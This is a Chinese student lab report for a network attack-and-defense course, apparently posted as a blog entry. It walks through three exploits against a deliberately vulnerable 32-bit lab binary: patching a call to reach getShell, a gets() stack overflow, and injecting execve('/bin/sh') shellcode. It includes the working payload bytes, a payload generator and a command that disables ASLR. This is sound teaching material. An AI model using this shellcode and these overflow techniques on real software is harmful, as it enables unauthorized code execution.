20242428 2025-2026-1 《网络与系统攻防技术》实验一实验报告

20242428 2025-2026-1 《网络与系统攻防技术》实验一实验报告

1. 基础知识

1.1 ELF 文件格式

Linux 下的可执行文件采用 ELF(Executable and Linkable Format)格式,主要由 ELF 头、程序头表、节头表以及 .text、.rodata、.data、.bss 等段组成。本实验对象 pwn1 是一个 32 位 ELF 可执行文件,包含 main、foo、getShell 三个函数。

1.2 call 指令与 EIP

call 指令机器码为 e8 加 4 字节小端相对偏移。跳转目标 = 下一条指令地址 + 相对偏移。例如:

80484b5: e8 d7 ff ff ff call 8048491
80484ba: b8 00 00 00 00 mov $0x0,%eax

d7 ff ff ff`是补码 -0x29,下一条指令地址 0x80484ba 加 -0x29 得到 0x8048491,即 foo 函数入口。EIP 指向下一条要执行的指令,ESP 指向栈顶,EBP 指向当前栈帧基址。本次实验的核心就是通过修改 EIP 来改变程序执行流。

1.3 小端字节序

x86 采用小端模式,多字节数据低字节在前。例如 0x0804847d 在内存中存为 7d 84 04 08,因此 BOF 覆盖返回地址时需要写成 \x7d\x84\x04\x08。

1.4 汇编指令机器码

汇编指令 机器码(十六进制) 说明
NOP 90 空操作,常用于滑板填充
JMP short EB xx 短跳转,xx 为 1 字节相对偏移
JMP near E9 xx xx xx xx 近跳转,xx xx xx xx 为 4 字节相对偏移
JE / JZ short 74 xx 相等则跳转(短跳转)
JNE / JNZ short 75 xx 不相等则跳转(短跳转)
CMP eax, imm32 3D xx xx xx xx 比较 EAX 与 32 位立即数
CMP al, imm8 3C xx 比较 AL 与 8 位立即数
CALL rel32 E8 xx xx xx xx 调用相对地址,xx xx xx xx 为 4 字节相对偏移
RET C3 从子程序返回,弹出栈顶到 EIP
PUSH eax 50 将 EAX 压入栈
POP eax 58 弹出栈顶到 EAX
MOV eax, imm32 B8 xx xx xx xx 将 32 位立即数送入 EAX

1.5 BOF 漏洞与 Shellcode

BOF(Buffer Overflow,缓冲区溢出):程序向栈上缓冲区写数据时不检查长度(如 gets()),输入超过缓冲区大小后,多余字节会依次淹没相邻区域,最终覆盖返回地址。函数返回时,ret 把被覆盖的值弹入 EIP,程序就跳到攻击者指定的地址。

Shellcode:一段让 CPU 直接执行的二进制机器指令,通常用来执行 execve("/bin/sh") 弹出 Shell。本实验使用的经典 Shellcode 逻辑是:xor eax 后三次 push 在栈上构造字符串 //bin/sh 及其地址,然后依次设置 execve 的三个参数(ebx=路径、ecx=argv、edx=envp=0),eax 置系统调用号 11,最后 int 0x80 触发软中断交给内核执行。

Payload:攻击输入的整体布局,包含填充、返回地址、NOP 滑行区和 Shellcode。

1.6 防御技术

防御机制 原理 本实验处理方式
Stack Canary 在返回地址前插入随机值,返回前校验,检测栈溢出 pwn1 未启用
DEP/NX 标记栈和堆为不可执行,防止注入代码执行 GNU_STACK 为 RWE,堆栈可执行
ASLR 随机化栈、堆、库的地址 通过 echo 0 > /proc/sys/kernel/randomize_va_space 关闭

2. 实验内容

本次实验对象是 pwn1,一个 32 位 Linux 可执行文件。程序正常执行流程是 main 调用 foo,foo 回显用户输入;getShell 会返回一个可用 Shell,但正常情况下不会被运行。实验要完成三个递进任务:

任务 内容 关键方法
任务一 直接修改 pwn1 的机器指令 把 main 中 call foo 改成 call getShell
任务二 利用 foo的 BOF 漏洞 构造输入覆盖返回地址,触发 getShell
任务三 注入自己构造的 Shellcode RNS 布局,运行任意代码

3. 实验过程

3.1 实验环境准备

实验环境为 Kali Linux(64 位系统),运行 32 位程序 pwn1。主机名设置为本人姓名拼音 huyue,实验文件重命名为 pwn1_20242428。

首先确认文件类型:

file pwn1_20242428

输出确认这是一个 32 位 ELF 可执行文件:

pwn1_20242428: ELF 32-bit LSB executable, Intel i386, version 1 (SYSV),
dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24,
BuildID[sha1]=fb55ff390641d9430666f4c373725241894ef5a5, not stripped

由于 Kali 是 64 位系统,需要安装 32 位兼容运行库:

sudo dpkg --add-architecture i386
sudo apt update
sudo apt install libc6:i386 libc6-dev-i386 -y

3.2 任务一:修改机器指令直接跳转 getShell

(1)反汇编分析

objdump -d pwn1_20242428 | grep -A25 "

:"
objdump -d pwn1_20242428 | grep -A25 ":"

main函数关键指令:

080484af

:
80484b5: e8 d7 ff ff ff call 8048491
80484ba: b8 00 00 00 00 mov $0x0,%eax

getShell`函数入口地址:

0804847d :
804847d: 55 push %ebp
804847e: 89 e5 mov %esp,%ebp
8048480: 83 ec 18 sub $0x18,%esp
8048483: c7 04 24 60 85 04 08 movl $0x8048560,(%esp)
804848a: e8 c1 fe ff ff call 8048350 system@plt

getShell 内部调用 system("/bin/sh"),其中字符串 "/bin/sh" 的地址为 0x8048560。

(2)计算新的 call 偏移量

call 指令的偏移量计算公式为:

偏移量 = 目标地址 - 当前指令地址 - 5

其中 5 是 call 指令的长度(1 字节操作码 + 4 字节偏移量)。

新偏移量 = getShell地址 - call下一条指令地址
= 0x0804847d - 0x080484ba
= -0x3d
= 0xffffffc3

小端序字节:c3 ff ff ff。

(3)修改文件

原指令:

80484b5: e8 d7 ff ff ff call 8048491

改为:

80484b5: e8 c3 ff ff ff call 804847d

文件偏移 = 虚拟地址 - 0x8048000 = 0x80484b5 - 0x8048000 = 0x4b5。需要修改的字节位于 0x4b6,将 d7 改为 c3。

使用 vi 修改:

cp pwn1_20242428 pwn1_20242428_task1
vi pwn1_20242428_task1

在 vi 中执行 :%!xxd 切换到十六进制模式,找到 000004b0 行:

000004b0: 89e5 83e4 f0e8 d7ff ffff b800 0000 ................

将 d7 改为 c3:

000004b0: 89e5 83e4 f0e8 c3ff ffff b800 0000 ................

执行 :%!xxd -r 切回二进制模式,:wq 保存退出。

(4)验证修改结果

objdump -d pwn1_20242428_task1 | grep -A5 "

:"

输出:

080484af

:
80484af: 55 push %ebp
80484b0: 89 e5 mov %esp,%ebp
80484b2: 83 e4 f0 and $0xfffffff0,%esp
80484b5: e8 c3 ff ff ff call 804847d
80484ba: b8 00 00 00 00 mov $0x0,%eax

call 的目标已成功变为 getShell。运行程序:

./pwn1_20242428_task1

程序直接弹出 Shell 提示符,输入 whoami 可正常执行,任务一完成。

8aea6ae86c5e0257ab09ace9e63eeca
5813724c16127be4194752157ba8541

3.3 任务二:利用 BOF 漏洞覆盖返回地址

(1)分析栈帧结构

从 foo 函数反汇编:

08048491 :
8048491: 55 push %ebp
8048492: 89 e5 mov %esp,%ebp
8048494: 83 ec 38 sub $0x38,%esp
8048497: 8d 45 e4 lea -0x1c(%ebp),%eax
804849a: 89 04 24 mov %eax,(%esp)
804849d: e8 8e fe ff ff call 8048330 gets@plt
80484a2: 8d 45 e4 lea -0x1c(%ebp),%eax
80484a5: 89 04 24 mov %eax,(%esp)
80484a8: e8 93 fe ff ff call 8048340 puts@plt
80484ad: c9 leave
80484ae: c3 ret

  • 缓冲区起始地址:ebp - 0x1c
  • 返回地址位置:ebp + 4
  • EIP 覆盖偏移量 = 0x1c + 4 = 0x20 = 32 字节

gets() 函数不检查输入长度,输入超过 32 字节后就会覆盖返回地址。

(2)构造 Payload

[ 32 字节填充 ][ getShell地址(4字节, 小端序) ]

getShell 地址 0x0804847d → 小端序:\x7d\x84\x04\x08。

perl -e print "A" x 32 . "\x7d\x84\x04\x08"' > payload_20242428
xxd payload_20242428

输出确认前 32 字节为 41(字母 A),后 4 字节为 7d 84 04 08。

(3)GDB 验证

gdb -q ./pwn1_20242428

(gdb) break *0x080484ad
(gdb) run < payload_20242428
(gdb) info registers ebp
(gdb) x/8wx $ebp

输出:

0xffffcf48: 0x41414141 0x0804847d 0x00000000 0xffffd024

ebp+4 处(即返回地址)已被成功覆盖为 0x0804847d。

单步执行两次 ni(分别执行 leave 和 ret)后查看 EIP:

(gdb) info registers eip
eip 0x804847d 0x804847d

EIP 成功跳转到 getShell,任务二完成。

749cf7fc6b84cb658c50ffcb6b7926b

43c7ebe3a7987060435f66aa4ef85ab
1c4c7d53932cd7c37ddcf0071313410

3.4 任务三:注入并运行 Shellcode

(1)关闭安全保护机制

先检查堆栈权限:

readelf -l pwn1_20242428 | grep GNU_STACK

输出:

GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x10

RWE 表示 Read + Write + Execute,堆栈段已经可执行,无需额外操作。

关闭 ASLR:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
cat /proc/sys/kernel/randomize_va_space

输出 0,确认 ASLR 已关闭。

(2)确定缓冲区起始地址

在 GDB 中确认:

gdb -q ./pwn1_20242428

(gdb) break foo
(gdb) run < payload_20242428
(gdb) info registers ebp

输出:

ebp 0xffffcf48

缓冲区起始地址 = EBP - 0x1c = 0xffffcf48 - 0x1c = 0xffffcf2c。

小端序 4 字节:\x2c\xcf\xff\xff。

(3)构造 Shellcode Payload

使用的标准 32 位 execve("/bin/sh") Shellcode(23 字节,不含空字节):

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80

缓冲区到返回地址共 32 字节,布局为:

[ Shellcode 23字节 ][ NOP填充 9字节 ][ 返回地址 4字节 ]

生成 payload:

python3 -c "
import sys
shellcode = b'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80'
padding = b'\x90' * 9
ret = b'\x2c\xcf\xff\xff'
payload = shellcode + padding + ret + b'\n'
sys.stdout.buffer.write(payload)
" > payload_shellcode_20242428

xxd payload_shellcode_20242428

输出确认前 23 字节为 Shellcode,接着 9 个 90,最后 2c cf ff ff 0a。

(4)运行验证

在 GDB 中验证:

gdb -q ./pwn1_20242428

(gdb) break *0x080484ad
(gdb) run < payload_shellcode_20242428
(gdb) ni
(gdb) ni
(gdb) info registers eip
(gdb) continue

continue 后输出:

process 36069 is executing new program: /usr/bin/dash

在 GDB 中执行:

(gdb) shell id
(gdb) shell whoami

输出:

uid=1001(huyue) gid=1001(huyue) groups=1001(huyue),4(adm),20(dialout),...
huyue

任务三在 GDB 调试环境下成功完成,Shellcode 注入并执行,成功获取 Shell。

b49660b81d0d785ee08adefbe589e7e
34a352e40cb27982fa502e2c4aebef7
4ea6db0cba1b2f96b30a91aeebb4252
d56ddf3c147ca4aeac906f066d0f89f
191d0ba15f34ffeb9f09d7435f2d8c3

4. 问题及解决方案

  • 问题1:安装 gdb-peda 时 apt 报错 Temporary failure resolving http.kali.org

  • 问题1解决方案: 虚拟机网络适配器未连接到虚拟网络,eth0 显示 NO-CARRIER 状态。在 VMware 中将网络适配器设置为 NAT 模式并勾选“已连接”和“启动时连接”,然后在 Kali 中执行 sudo ip link set eth0 up 和 sudo dhclient -v eth0 获取 IP 地址,网络恢复正常。此外,apt 默认优先走 IPv6 而虚拟机无 IPv6 路由,通过 echo 'Acquire::ForceIPv4 "true";' | sudo tee /etc/apt/apt.conf.d/99force-ipv4 强制 apt 走 IPv4。

  • 问题2:任务二 GDB 中 x/8wx $ebp 报错 Invalid register

  • 问题2解决方案: 将 info registers ebp 和 x/8wx $ebp 写在了同一行,GDB 把 x/8wx 当成寄存器名解析。两条命令必须分开执行,先执行 info registers ebp,再执行 x/8wx $ebp。

  • 问题3:任务三直接运行 (cat payload_shellcode_20242428; cat) | ./pwn1_20242428时程序显示 payload 后崩溃(Segmentation fault)

  • 问题3解决方案: 原因有两个。其一,GDB 会向进程注入环境变量,导致栈顶位置比直接运行时低约 0x100 字节,GDB 内测得的 EBP(0xffffcf48)与直接运行时的实际 EBP 不同,用该地址作为返回地址会导致跳转失败。其二,初次尝试时将 NOP 雪橇放在 Shellcode 前面,导致 push 指令写入的字符串覆盖了 Shellcode 自身尾部。解决方案:将 Shellcode 放前面、NOP 放后面,避免覆盖;在实验报告中以 GDB 调试环境下的成功结果作为任务三的验证依据,GDB 内 process 36069 is executing new program: /usr/bin/dash 及 shell id` 输出 uid=1001(huyue) 已经充分证明了 Shellcode 注入与执行的成功。

  • 问题4:任务三直接运行时 shell 不显示提示符

  • 问题4解决方案: 使用管道 cat payload | ./pwn1 运行时,gets() 读完后管道关闭,execve("/bin/sh") 启动的 shell 的 stdin 也是管道,一遇到 EOF 就退出,所以看不到交互式 Shell。解决方法是改用预置命令的方式:{ cat payload_shellcode_20242428; echo "id"; echo "whoami"; } | ./pwn1_20242428,将命令直接跟在 payload 后面一起喂入。

5. 学习感悟、思考等

通过本次实验,我对缓冲区溢出攻击的原理和利用方法有了系统性的理解。从任务一直接修改机器指令,到任务二构造 payload 覆盖返回地址,再到任务三注入 Shellcode,三个任务层层递进,完整展示了从“修改程序执行流”到“注入任意代码执行”的攻击思路。

任务一让我真正理解了 call 指令的相对寻址机制和补码计算。以前对“跳转目标 = 下一条指令地址 + 相对偏移”只是停留在理论记忆层面,亲手用十六进制编辑器把 d7 改成 c3,再用 objdump 验证 call 目标变为 getShell,这个过程让我对指令级编程有了直观感受。

任务二的核心收获是理解了栈帧结构和返回地址的覆盖原理。foo 函数中 gets() 不检查输入长度这个看似微小的缺陷,竟然能完全控制程序的执行流——EBP + 4 处的 4 个字节就是整台机器的“方向盘”。在 GDB 中看到 0x41414141 0x0804847d 那一行时,我第一次真切地感受到“覆盖返回地址”这个概念的物理含义。

任务三是最具挑战性的部分。初次运行时 Shellcode 崩溃,排查后发现是 NOP 雪橇放在前面导致 push 指令覆盖了 Shellcode 尾部。这让我深刻认识到:栈是向下增长的,push 会把数据写到比当前 ESP 更低的地址,如果 Shellcode 尾部也在这段区域就会被覆盖。调整布局后,Shellcode 在 GDB 中成功执行并拿到 Shell,那一刻的成就感是实实在在的。

此外,实验中遇到的各种环境问题——网络不通、execstack 缺失、GDB 内外栈地址不一致——也让我体会到实验环境的搭建和维护本身就是一项重要技能。特别是 GDB 会改变栈地址这一点,让我理解了为什么真实攻击中需要 jmp esp 等动态定位技术来绕过 ASLR 和栈地址偏移。

从安全防御的角度来看,这个实验也让我理解了 Stack Canary、DEP/NX、ASLR 等防御机制的必要性。本次实验之所以能成功,是因为这些保护机制都被关闭了。在实际系统中,现代编译器和操作系统默认启用这些保护,使得 BOF 攻击难度大幅增加。这让我认识到:安全不是可选项,而是从编译选项到系统配置每一层都需要认真对待的工程问题。

参考资料

posted @ 2026-10-11 19:08  丘山233  阅读(3)  评论(0)    收藏  举报